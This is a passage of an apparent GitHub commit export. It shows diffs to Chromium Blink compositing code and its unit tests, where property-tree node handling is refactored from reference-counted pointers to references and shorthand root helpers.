.Properties(*transform0, c0(), e0())\n .Chunk(1)\n- .Properties(transform1.get())\n+ .Properties(*transform1, c0(), e0())\n .Build();\n \n GeometryMapperTransformCache::ClearCache();\n@@ -548,7 +533,7 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n \n // Change layer_transform should not cause raster invalidation in the layer.\n layer_transform->Update(\n- layer_transform->Parent(),\n+ *layer_transform->Parent(),\n TransformPaintPropertyNode::State{TransformationMatrix().Scale(10)});\n auto new_artifact = Chunk(0)\n .Properties(artifact.PaintChunks()[0].properties)\n@@ -565,11 +550,9 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n // raster invalidation in the layer. This simulates a composited layer is\n // scrolled from its original location.\n auto new_layer_transform = CreateTransform(\n- layer_transform, TransformationMatrix().Translate(-100, -200));\n- layer_state = PropertyTreeState(new_layer_transform.get(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n- transform0->Update(new_layer_transform,\n+ *layer_transform, TransformationMatrix().Translate(-100, -200));\n+ layer_state = PropertyTreeState(new_layer_transform.get(), &c0(), &e0());\n+ transform0->Update(*new_layer_transform,\n TransformPaintPropertyNode::State{transform0->Matrix()});\n auto new_artifact1 = Chunk(0)\n .Properties(artifact.PaintChunks()[0].properties)\n@@ -584,7 +567,7 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n // Removing transform nodes above the layer state should not cause raster\n // invalidation in the layer.\n layer_state = DefaultPropertyTreeState();\n- transform0->Update(layer_state.Transform(),\n+ transform0->Update(*layer_state.Transform(),\n TransformPaintPropertyNode::State{transform0->Matrix()});\n auto new_artifact2 = Chunk(0)\n .Properties(artifact.PaintChunks()[0].properties)\n@@ -600,11 +583,11 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n // and transform1 unchanged for chunk 2. We should invalidate only chunk 0\n // for changed paint property.\n transform0->Update(\n- layer_state.Transform(),\n+ *layer_state.Transform(),\n TransformPaintPropertyNode::State{\n TransformationMatrix(transform0->Matrix()).Translate(20, 30)});\n transform1->Update(\n- transform0,\n+ *transform0,\n TransformPaintPropertyNode::State{\n TransformationMatrix(transform1->Matrix()).Translate(-20, -30)});\n auto new_artifact3 = Chunk(0)\n@@ -631,29 +614,26 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyTinyChange) {\n CompositedLayerRasterInvalidator invalidator(kNoopRasterInvalidation);\n \n- auto layer_transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Scale(5));\n+ auto layer_transform = CreateTransform(t0(), TransformationMatrix().Scale(5));\n auto chunk_transform = CreateTransform(\n- layer_transform, TransformationMatrix().Translate(10, 20));\n+ *layer_transform, TransformationMatrix().Translate(10, 20));\n \n- PropertyTreeState layer_state(layer_transform.get(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n- auto artifact = Chunk(0).Properties(chunk_transform.get()).Build();\n+ PropertyTreeState layer_state(layer_transform.get(), &c0(), &e0());\n+ auto artifact = Chunk(0).Properties(*chunk_transform, c0(), e0()).Build();\n \n GeometryMapperTransformCache::ClearCache();\n invalidator.SetTracksRasterInvalidations(true);\n invalidator.Generate(artifact, kDefaultLayerBounds, layer_state);\n EXPECT_TRUE(TrackedRasterInvalidations(invalidator).IsEmpty());\n \n // Change chunk_transform by tiny difference, which should be ignored.\n- chunk_transform->Update(layer_state.Transform(),\n+ chunk_transform->Update(*layer_state.Transform(),\n TransformPaintPropertyNode::State{\n TransformationMatrix(chunk_transform->Matrix())\n .Translate(0.0000001, -0.0000001)\n .Scale(1.0000001)\n .Rotate(0.0000001)});\n- auto new_artifact = Chunk(0).Properties(chunk_transform.get()).Build();\n+ auto new_artifact = Chunk(0).Properties(*chunk_transform, c0(), e0()).Build();\n \n GeometryMapperTransformCache::ClearCache();\n invalidator.Generate(new_artifact, kDefaultLayerBounds, layer_state);\n@@ -663,13 +643,14 @@ TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyTinyChange) {\n // accumulation is large enough.\n bool invalidated = false;\n for (int i = 0; i < 100 && !invalidated; i++) {\n- chunk_transform->Update(layer_state.Transform(),\n+ chunk_transform->Update(*layer_state.Transform(),\n TransformPaintPropertyNode::State{\n TransformationMatrix(chunk_transform->Matrix())\n .Translate(0.0000001, -0.0000001)\n .Scale(1.0000001)\n .Rotate(0.0000001)});\n- auto new_artifact = Chunk(0).Properties(chunk_transform.get()).Build();\n+ auto new_artifact =\n+ Chunk(0).Properties(*chunk_transform, c0(), e0()).Build();\n \n GeometryMapperTransformCache::ClearCache();\n invalidator.Generate(new_artifact, kDefaultLayerBounds, layer_state);"}<_**next**_>{"sha": "edf0e16e24bdb261407a7d40dbb5b05cac87a4a7", "filename": "third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor.cc", "status": "modified", "additions": 7, "deletions": 11, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -285,7 +285,7 @@ PaintArtifactCompositor::PendingLayer::PendingLayer(\n : bounds(first_paint_chunk.bounds),\n rect_known_to_be_opaque(\n first_paint_chunk.known_to_be_opaque ? bounds : FloatRect()),\n- property_tree_state(first_paint_chunk.properties.GetPropertyTreeState()),\n+ property_tree_state(first_paint_chunk.properties),\n requires_own_layer(chunk_requires_own_layer) {\n paint_chunk_indices.push_back(chunk_index);\n }\n@@ -397,16 +397,12 @@ static const EffectPaintPropertyNode* StrictChildOfAlongPath(\n \n bool PaintArtifactCompositor::MightOverlap(const PendingLayer& layer_a,\n const PendingLayer& layer_b) {\n- PropertyTreeState root_property_tree_state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n-\n FloatClipRect bounds_a(layer_a.bounds);\n- GeometryMapper::LocalToAncestorVisualRect(layer_a.property_tree_state,\n- root_property_tree_state, bounds_a);\n+ GeometryMapper::LocalToAncestorVisualRect(\n+ layer_a.property_tree_state, PropertyTreeState::Root(), bounds_a);\n FloatClipRect bounds_b(layer_b.bounds);\n- GeometryMapper::LocalToAncestorVisualRect(layer_b.property_tree_state,\n- root_property_tree_state, bounds_b);\n+ GeometryMapper::LocalToAncestorVisualRect(\n+ layer_b.property_tree_state, PropertyTreeState::Root(), bounds_b);\n \n return bounds_a.Rect().Intersects(bounds_b.Rect());\n }\n@@ -575,8 +571,8 @@ void PaintArtifactCompositor::CollectPendingLayers(\n Vector<PendingLayer>& pending_layers) {\n Vector<PaintChunk>::const_iterator cursor =\n paint_artifact.PaintChunks().begin();\n- LayerizeGroup(paint_artifact, pending_layers,\n- *EffectPaintPropertyNode::Root(), cursor);\n+ LayerizeGroup(paint_artifact, pending_layers, EffectPaintPropertyNode::Root(),\n+ cursor);\n DCHECK_EQ(paint_artifact.PaintChunks().end(), cursor);\n }\n "}<_**next**_>{"sha": "56df523461b21646e07f8559b30195a8c1958138", "filename": "third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor_test.cc", "status": "modified", "additions": 322, "deletions": 634, "changes": 956, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/paint_artifact_compositor_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -197,9 +197,7 @@ class PaintArtifactCompositorTest : public testing::Test,\n }\n \n void AddSimpleRectChunk(TestPaintArtifact& artifact) {\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(), EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n }\n \n@@ -210,9 +208,7 @@ class PaintArtifactCompositorTest : public testing::Test,\n if (include_preceding_chunk)\n AddSimpleRectChunk(artifact);\n auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), opacity);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(), effect)\n+ artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n if (include_subsequent_chunk)\n AddSimpleRectChunk(artifact);\n@@ -237,17 +233,6 @@ class PaintArtifactCompositorTest : public testing::Test,\n \n const auto kNotScrollingOnMain = MainThreadScrollingReason::kNotScrollingOnMain;\n \n-// Convenient shorthands.\n-const TransformPaintPropertyNode* t0() {\n- return TransformPaintPropertyNode::Root();\n-}\n-const ClipPaintPropertyNode* c0() {\n- return ClipPaintPropertyNode::Root();\n-}\n-const EffectPaintPropertyNode* e0() {\n- return EffectPaintPropertyNode::Root();\n-}\n-\n TEST_F(PaintArtifactCompositorTest, EmptyPaintArtifact) {\n PaintArtifact empty_artifact;\n Update(empty_artifact);\n@@ -256,7 +241,7 @@ TEST_F(PaintArtifactCompositorTest, EmptyPaintArtifact) {\n \n TEST_F(PaintArtifactCompositorTest, OneChunkWithAnOffset) {\n TestPaintArtifact artifact;\n- artifact.Chunk(PropertyTreeState::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(50, -50, 100, 100), Color::kWhite);\n Update(artifact.Build());\n \n@@ -271,22 +256,16 @@ TEST_F(PaintArtifactCompositorTest, OneChunkWithAnOffset) {\n \n TEST_F(PaintArtifactCompositorTest, OneTransform) {\n // A 90 degree clockwise rotation about (100, 100).\n- auto transform = CreateTransform(\n- TransformPaintPropertyNode::Root(), TransformationMatrix().Rotate(90),\n- FloatPoint3D(100, 100, 0), CompositingReason::k3DTransform);\n+ auto transform = CreateTransform(t0(), TransformationMatrix().Rotate(90),\n+ FloatPoint3D(100, 100, 0),\n+ CompositingReason::k3DTransform);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kGray);\n- artifact\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(100, 100, 200, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -317,21 +296,17 @@ TEST_F(PaintArtifactCompositorTest, OneTransform) {\n \n TEST_F(PaintArtifactCompositorTest, TransformCombining) {\n // A translation by (5, 5) within a 2x scale about (10, 10).\n- auto transform1 = CreateTransform(\n- TransformPaintPropertyNode::Root(), TransformationMatrix().Scale(2),\n- FloatPoint3D(10, 10, 0), CompositingReason::k3DTransform);\n+ auto transform1 =\n+ CreateTransform(t0(), TransformationMatrix().Scale(2),\n+ FloatPoint3D(10, 10, 0), CompositingReason::k3DTransform);\n auto transform2 =\n- CreateTransform(transform1, TransformationMatrix().Translate(5, 5),\n+ CreateTransform(*transform1, TransformationMatrix().Translate(5, 5),\n FloatPoint3D(), CompositingReason::k3DTransform);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform1, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform1, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kWhite);\n- artifact\n- .Chunk(transform2, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform2, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kBlack);\n Update(artifact.Build());\n \n@@ -363,29 +338,23 @@ TEST_F(PaintArtifactCompositorTest, BackfaceVisibility) {\n backface_hidden_state.backface_visibility =\n TransformPaintPropertyNode::BackfaceVisibility::kHidden;\n auto backface_hidden_transform = TransformPaintPropertyNode::Create(\n- TransformPaintPropertyNode::Root(), std::move(backface_hidden_state));\n+ t0(), std::move(backface_hidden_state));\n \n auto backface_inherited_transform = TransformPaintPropertyNode::Create(\n- backface_hidden_transform, TransformPaintPropertyNode::State{});\n+ *backface_hidden_transform, TransformPaintPropertyNode::State{});\n \n TransformPaintPropertyNode::State backface_visible_state;\n backface_visible_state.backface_visibility =\n TransformPaintPropertyNode::BackfaceVisibility::kVisible;\n auto backface_visible_transform = TransformPaintPropertyNode::Create(\n- backface_hidden_transform, std::move(backface_visible_state));\n+ *backface_hidden_transform, std::move(backface_visible_state));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(backface_hidden_transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*backface_hidden_transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kWhite);\n- artifact\n- .Chunk(backface_inherited_transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*backface_inherited_transform, c0(), e0())\n .RectDrawing(FloatRect(100, 100, 100, 100), Color::kBlack);\n- artifact\n- .Chunk(backface_visible_transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*backface_visible_transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kDarkGray);\n Update(artifact.Build());\n \n@@ -408,20 +377,17 @@ TEST_F(PaintArtifactCompositorTest, FlattensInheritedTransform) {\n // transform node flattens the transform. This is because Blink's notion of\n // flattening determines whether content within the node's local transform\n // is flattened, while cc's notion applies in the parent's coordinate space.\n- auto transform1 = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix());\n+ auto transform1 = CreateTransform(t0(), TransformationMatrix());\n auto transform2 =\n- CreateTransform(transform1, TransformationMatrix().Rotate3d(0, 45, 0));\n+ CreateTransform(*transform1, TransformationMatrix().Rotate3d(0, 45, 0));\n TransformPaintPropertyNode::State transform3_state;\n transform3_state.matrix = TransformationMatrix().Rotate3d(0, 45, 0);\n transform3_state.flattens_inherited_transform = transform_is_flattened;\n auto transform3 = TransformPaintPropertyNode::Create(\n- transform2, std::move(transform3_state));\n+ *transform2, std::move(transform3_state));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform3, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform3, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kWhite);\n Update(artifact.Build());\n \n@@ -456,41 +422,32 @@ TEST_F(PaintArtifactCompositorTest, FlattensInheritedTransform) {\n \n TEST_F(PaintArtifactCompositorTest, SortingContextID) {\n // Has no 3D rendering context.\n- auto transform1 = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix());\n+ auto transform1 = CreateTransform(t0(), TransformationMatrix());\n // Establishes a 3D rendering context.\n TransformPaintPropertyNode::State transform2_3_state;\n transform2_3_state.rendering_context_id = 1;\n transform2_3_state.direct_compositing_reasons =\n CompositingReason::k3DTransform;\n auto transform2 = TransformPaintPropertyNode::Create(\n- transform1, std::move(transform2_3_state));\n+ *transform1, std::move(transform2_3_state));\n // Extends the 3D rendering context of transform2.\n auto transform3 = TransformPaintPropertyNode::Create(\n- transform2, std::move(transform2_3_state));\n+ *transform2, std::move(transform2_3_state));\n // Establishes a 3D rendering context distinct from transform2.\n TransformPaintPropertyNode::State transform4_state;\n transform4_state.rendering_context_id = 2;\n transform4_state.direct_compositing_reasons = CompositingReason::k3DTransform;\n auto transform4 = TransformPaintPropertyNode::Create(\n- transform2, std::move(transform4_state));\n+ *transform2, std::move(transform4_state));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(transform1, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform1, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kWhite);\n- artifact\n- .Chunk(transform2, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform2, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kLightGray);\n- artifact\n- .Chunk(transform3, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform3, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kDarkGray);\n- artifact\n- .Chunk(transform4, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*transform4, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 200), Color::kBlack);\n Update(artifact.Build());\n \n@@ -540,14 +497,10 @@ TEST_F(PaintArtifactCompositorTest, SortingContextID) {\n }\n \n TEST_F(PaintArtifactCompositorTest, OneClip) {\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(100, 100, 300, 200));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(100, 100, 300, 200));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip, e0())\n .RectDrawing(FloatRect(220, 80, 300, 200), Color::kBlack);\n Update(artifact.Build());\n \n@@ -568,30 +521,19 @@ TEST_F(PaintArtifactCompositorTest, OneClip) {\n }\n \n TEST_F(PaintArtifactCompositorTest, NestedClips) {\n- auto clip1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(100, 100, 700, 700),\n+ auto clip1 = CreateClip(c0(), &t0(), FloatRoundedRect(100, 100, 700, 700),\n CompositingReason::kOverflowScrollingTouch);\n- auto clip2 = CreateClip(clip1, TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(200, 200, 700, 700),\n+ auto clip2 = CreateClip(*clip1, &t0(), FloatRoundedRect(200, 200, 700, 700),\n CompositingReason::kOverflowScrollingTouch);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip1,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip1, e0())\n .RectDrawing(FloatRect(300, 350, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip2,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip2, e0())\n .RectDrawing(FloatRect(300, 350, 100, 100), Color::kLightGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip1,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip1, e0())\n .RectDrawing(FloatRect(300, 350, 100, 100), Color::kDarkGray);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip2,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip2, e0())\n .RectDrawing(FloatRect(300, 350, 100, 100), Color::kBlack);\n Update(artifact.Build());\n \n@@ -637,18 +579,14 @@ TEST_F(PaintArtifactCompositorTest, NestedClips) {\n }\n \n TEST_F(PaintArtifactCompositorTest, DeeplyNestedClips) {\n- Vector<scoped_refptr<ClipPaintPropertyNode>> clips;\n+ Vector<std::unique_ptr<ClipPaintPropertyNode>> clips;\n for (unsigned i = 1; i <= 10; i++) {\n- clips.push_back(CreateClip(\n- clips.IsEmpty() ? ClipPaintPropertyNode::Root() : clips.back(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(5 * i, 0, 100, 200 - 10 * i)));\n+ clips.push_back(CreateClip(clips.IsEmpty() ? c0() : *clips.back(), &t0(),\n+ FloatRoundedRect(5 * i, 0, 100, 200 - 10 * i)));\n }\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clips.back(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clips.back(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 200), Color::kWhite);\n Update(artifact.Build());\n \n@@ -674,22 +612,16 @@ TEST_F(PaintArtifactCompositorTest, DeeplyNestedClips) {\n }\n \n TEST_F(PaintArtifactCompositorTest, SiblingClips) {\n- auto common_clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(0, 0, 800, 600));\n- auto clip1 = CreateClip(common_clip, TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(0, 0, 400, 600));\n- auto clip2 = CreateClip(common_clip, TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(400, 0, 400, 600));\n+ auto common_clip = CreateClip(c0(), &t0(), FloatRoundedRect(0, 0, 800, 600));\n+ auto clip1 =\n+ CreateClip(*common_clip, &t0(), FloatRoundedRect(0, 0, 400, 600));\n+ auto clip2 =\n+ CreateClip(*common_clip, &t0(), FloatRoundedRect(400, 0, 400, 600));\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip1,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip1, e0())\n .RectDrawing(FloatRect(0, 0, 640, 480), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip2,\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), *clip2, e0())\n .RectDrawing(FloatRect(0, 0, 640, 480), Color::kBlack);\n Update(artifact.Build());\n ASSERT_EQ(2u, ContentLayerCount());\n@@ -731,15 +663,11 @@ TEST_F(PaintArtifactCompositorTest, ForeignLayerPassesThrough) {\n layer->SetBounds(gfx::Size(400, 300));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact.Chunk(PropertyTreeState::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .ForeignLayer(FloatPoint(50, 60), IntSize(400, 300), layer);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -754,37 +682,30 @@ TEST_F(PaintArtifactCompositorTest, ForeignLayerPassesThrough) {\n \n TEST_F(PaintArtifactCompositorTest, EffectTreeConversion) {\n EffectPaintPropertyNode::State effect1_state;\n- effect1_state.local_transform_space = TransformPaintPropertyNode::Root();\n- effect1_state.output_clip = ClipPaintPropertyNode::Root();\n+ effect1_state.local_transform_space = &t0();\n+ effect1_state.output_clip = &c0();\n effect1_state.opacity = 0.5;\n effect1_state.direct_compositing_reasons = CompositingReason::kAll;\n effect1_state.compositor_element_id = CompositorElementId(2);\n- auto effect1 = EffectPaintPropertyNode::Create(\n- EffectPaintPropertyNode::Root(), std::move(effect1_state));\n- auto effect2 = CreateOpacityEffect(effect1, 0.3, CompositingReason::kAll);\n- auto effect3 = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.2,\n- CompositingReason::kAll);\n+ auto effect1 =\n+ EffectPaintPropertyNode::Create(e0(), std::move(effect1_state));\n+ auto effect2 = CreateOpacityEffect(*effect1, 0.3, CompositingReason::kAll);\n+ auto effect3 = CreateOpacityEffect(e0(), 0.2, CompositingReason::kAll);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect2.get())\n+ artifact.Chunk(t0(), c0(), *effect2)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect1.get())\n+ artifact.Chunk(t0(), c0(), *effect1)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect3.get())\n+ artifact.Chunk(t0(), c0(), *effect3)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n Update(artifact.Build());\n \n ASSERT_EQ(3u, ContentLayerCount());\n \n const cc::EffectTree& effect_tree = GetPropertyTrees().effect_tree;\n // Node #0 reserved for null; #1 for root render surface; #2 for\n- // EffectPaintPropertyNode::root(), plus 3 nodes for those created by\n+ // e0(), plus 3 nodes for those created by\n // this test.\n ASSERT_EQ(5u, effect_tree.size());\n \n@@ -829,8 +750,8 @@ static ScrollPaintPropertyNode::State ScrollState2() {\n return state;\n }\n \n-static scoped_refptr<ScrollPaintPropertyNode> CreateScroll(\n- scoped_refptr<const ScrollPaintPropertyNode> parent,\n+static std::unique_ptr<ScrollPaintPropertyNode> CreateScroll(\n+ const ScrollPaintPropertyNode& parent,\n const ScrollPaintPropertyNode::State& state_arg,\n MainThreadScrollingReasons main_thread_scrolling_reasons =\n MainThreadScrollingReason::kNotScrollingOnMain,\n@@ -860,17 +781,11 @@ TEST_F(PaintArtifactCompositorTest, OneScrollNode) {\n CompositorElementId scroll_element_id = ScrollElementId(2);\n auto scroll = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState1(),\n kNotScrollingOnMain, scroll_element_id);\n- auto scroll_translation =\n- CreateScrollTranslation(TransformPaintPropertyNode::Root(), 7, 9, scroll);\n+ auto scroll_translation = CreateScrollTranslation(t0(), 7, 9, *scroll);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation);\n- artifact\n- .Chunk(scroll_translation, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(t0(), c0(), e0()).ScrollHitTest(*scroll_translation);\n+ artifact.Chunk(*scroll_translation, c0(), e0())\n .RectDrawing(FloatRect(-110, 12, 170, 19), Color::kWhite);\n Update(artifact.Build());\n \n@@ -920,20 +835,16 @@ TEST_F(PaintArtifactCompositorTest, OneScrollNode) {\n \n TEST_F(PaintArtifactCompositorTest, TransformUnderScrollNode) {\n auto scroll = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState1());\n- auto scroll_translation =\n- CreateScrollTranslation(TransformPaintPropertyNode::Root(), 7, 9, scroll);\n+ auto scroll_translation = CreateScrollTranslation(t0(), 7, 9, *scroll);\n \n auto transform =\n- CreateTransform(scroll_translation, TransformationMatrix(),\n+ CreateTransform(*scroll_translation, TransformationMatrix(),\n FloatPoint3D(), CompositingReason::k3DTransform);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(scroll_translation, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*scroll_translation, c0(), e0())\n .RectDrawing(FloatRect(-20, 4, 60, 8), Color::kBlack)\n- .Chunk(transform, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ .Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(1, -30, 5, 70), Color::kWhite);\n Update(artifact.Build());\n \n@@ -969,35 +880,30 @@ TEST_F(PaintArtifactCompositorTest, TransformUnderScrollNode) {\n }\n \n TEST_F(PaintArtifactCompositorTest, NestedScrollNodes) {\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto effect = CreateOpacityEffect(e0(), 0.5);\n \n CompositorElementId scroll_element_id_a = ScrollElementId(2);\n auto scroll_a = CreateScroll(\n ScrollPaintPropertyNode::Root(), ScrollState1(),\n MainThreadScrollingReason::kHasBackgroundAttachmentFixedObjects,\n scroll_element_id_a);\n auto scroll_translation_a = CreateScrollTranslation(\n- TransformPaintPropertyNode::Root(), 11, 13, scroll_a,\n- CompositingReason::kLayerForScrollingContents);\n+ t0(), 11, 13, *scroll_a, CompositingReason::kLayerForScrollingContents);\n \n CompositorElementId scroll_element_id_b = ScrollElementId(3);\n- auto scroll_b = CreateScroll(scroll_a, ScrollState2(), kNotScrollingOnMain,\n+ auto scroll_b = CreateScroll(*scroll_a, ScrollState2(), kNotScrollingOnMain,\n scroll_element_id_b);\n auto scroll_translation_b =\n- CreateScrollTranslation(scroll_translation_a, 37, 41, scroll_b);\n+ CreateScrollTranslation(*scroll_translation_a, 37, 41, *scroll_b);\n TestPaintArtifact artifact;\n- artifact.Chunk(scroll_translation_a, ClipPaintPropertyNode::Root(), effect)\n+ artifact.Chunk(*scroll_translation_a, c0(), *effect)\n .RectDrawing(FloatRect(7, 11, 13, 17), Color::kWhite);\n- artifact\n- 